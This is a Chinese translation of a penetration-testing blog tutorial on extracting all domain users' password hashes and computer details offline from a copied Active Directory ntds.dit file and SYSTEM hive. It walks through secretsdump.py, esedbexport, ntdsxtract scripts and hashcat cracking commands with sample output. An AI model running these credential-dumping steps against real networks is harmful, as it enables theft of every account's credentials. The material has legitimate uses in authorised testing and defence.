回归最本质的信息安全

从ntds.dit中提取hash和域信息

2017年7月9日发布

19,910
0
0

导语:获取域控权限的一种姿势。

在渗透测试进入内网之后,首要目标就是得到域控权限,将域中所有用户的hash值全部跑出来,下载到本地。很多工具比如meterpreter中的smart_hashdump和Impacket中的secretsdump.py都可以做到。

但是有些情况下我只能拷贝出来NTDS.dit文件,然后离线将这些密码提取出来。今天正好碰到了这一情况,接下来我将详细的介绍一下如何将密码导出,当然假设我已经成功将这两个文件下载到本地:

1. ntds.dit:Extensible storage engine DataBase, version 0x620, checksum 0xa50ff5a, page size 8192, DirtyShutdown, Windows version 6.1  
2. systemhive: MS Windows registry file, NT/2000 or above


使用Impacket

Imapacket的作者在twitter上告诉我secretsdump.py有一个本地选项,可以很简单的做到将密码提取出来。Impacket实在是太方便了,如果你已经有这两个文件,可以通过执行以下命令就可以得到hash值。

python secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL

稍等一会,它就会将域中所有用户的NTLM hash值呈现出来:

secretsdump.png

这是最简单一种方法,如果你想尝试着使用ntdsxtract导出表,你可以继续阅读~

安装esedbexport

从NTDS.dit中导出用户表的第一步就是使用libesedb中的esedbexport,你可以在下面网页中下载到最新版本:
https://github.com/libyal/libesedb/releases
我使用的版本是:”libesedb-experimental-20170121”

下载并且解压:

$ wget https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz
$ tar xf libesedb-experimental-20170121.tar.gz
$ cd libesedb-20170121/

安装依赖:

$ sudo apt-get install autoconf automake autopoint libtool pkg-config

进行安装:

$ ./configure
$ make
$ sudo make install
$ sudo ldconfig

如果一切顺利地话,你会在/usr/local/bin/esedbexport得到这个工具。

提取表

现在工具已经安装完成,使用这个工具可以从ntds.dit中提取出表,在执行过程中会新建一个名称为ntds.dit.export文件夹存放提取出来的表,命令为:

$ /usr/local/bin/esedbexport -m tables ntds.dit

这一步骤进行的时间有点长,在我的机器上进行了20-30分钟,在执行完毕之后,你会看到成功的分离出了表:

Screen-Shot-2017-07-06-at-2-55-08-PM.png

两个重要的表为:datatable以及link_table,他们都会被存放在./ntds.dit.export/文件夹中.

使用ntdsxtract提取域中信息

一旦表被提取出来,很多python工具可以将这些表中的信息进一步提取,比如ntdsxtract就可以完美进行。

安装命令:

$ git clone https://github.com/csababarta/ntdsxtract.git
$ cd ntdsxtract/
$ python setup.py build && python setup.py install

执行完毕之后,ntdsxtract就会在你的系统上进行安装。

提取用户信息以及密码hash值

ntdsxtract工具中dsusers.py可以被用来从分离出来的表中提取用户信息以及NT/LM密码hash值。前提是具有如下三个文件:

datatable
link_table
system hive

这个工具的使用规则为:

dsusers.py <datatable> <link_table> <output_dir> --syshive <systemhive> --passwordhashes <format options>

–pwdformat选项是选择以什么格式进行提取,有john(John format),ocl(oclHashcat),ophc(OphCrack)三个选项。

这个工具还会将所获得信息输出出来,这也方便了我们可以将信息写入到其他文件当中。

以oclHashcat格式提取所有NT和LM的hash,并将它们保存在”output”目录中的”ntout”和”lmout”中:

$ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive systemhive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user_info.txt

执行结束之后,NT的hash值已经以oclHashcat格式提取出来了:

root@kali:~/ntds_cracking# head -n2 output/ntout  
user1:BC62AC0F8EA9DD1AD703C8B4F0A968C4  
user2:0E10081EDBCFB92DE6156F9046FF7881

进一步查看我们提取出来的文件,我们还可以看到其他信息,比如SID,密码修改时间,以及最后登录时间等等:

Screen-Shot-2017-07-06-at-3-13-52-PM.png

通过hashcat进行简单hash破解:

$ hashcat -m 1000 output/ntout --username /path/to/wordlist

进一步提取域中计算机信息

Ntdsxtract中还具有一个工具可以从分离出来的表中提取域中计算机信息。这对于离线分析目标信息是非常有用的。

在使用过程中,需要对它提供datatable,输出目录以及输出文件,格式为csv:

$ dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv

执行完毕之后他会在all_computers.csv中写入所有域中计算机信息。如下:

 head -n 1 computer_output/all_computers.csv
"Record ID";"Computer name";"DNS name";"GUID";"SID";"OS name";"OS version";"When created";"When changed";"Bitlocker recovery name";"Bitlocker recovery GUID";"Bitlocker volume GUID";"Bitlocker when created";"Bitlocker when changed";"Bitlocker recovery password";"Dial-In Permission"


总结

使用secretsdump.py或者其他方法可以很快的提取域中用户以及其他密码哈希等等信息。不过如果你想通过离线对NTDS.dit以及SYSTEM hive文件进行提取的话,希望这篇文章可以给你提供帮助。

文章翻译自https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/,如若转载,请注明原文地址: http://www.4hou.com/penetration/6164.html

点赞 0
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

xnianq

xnianq

HFUT,信息安全

发私信

发表评论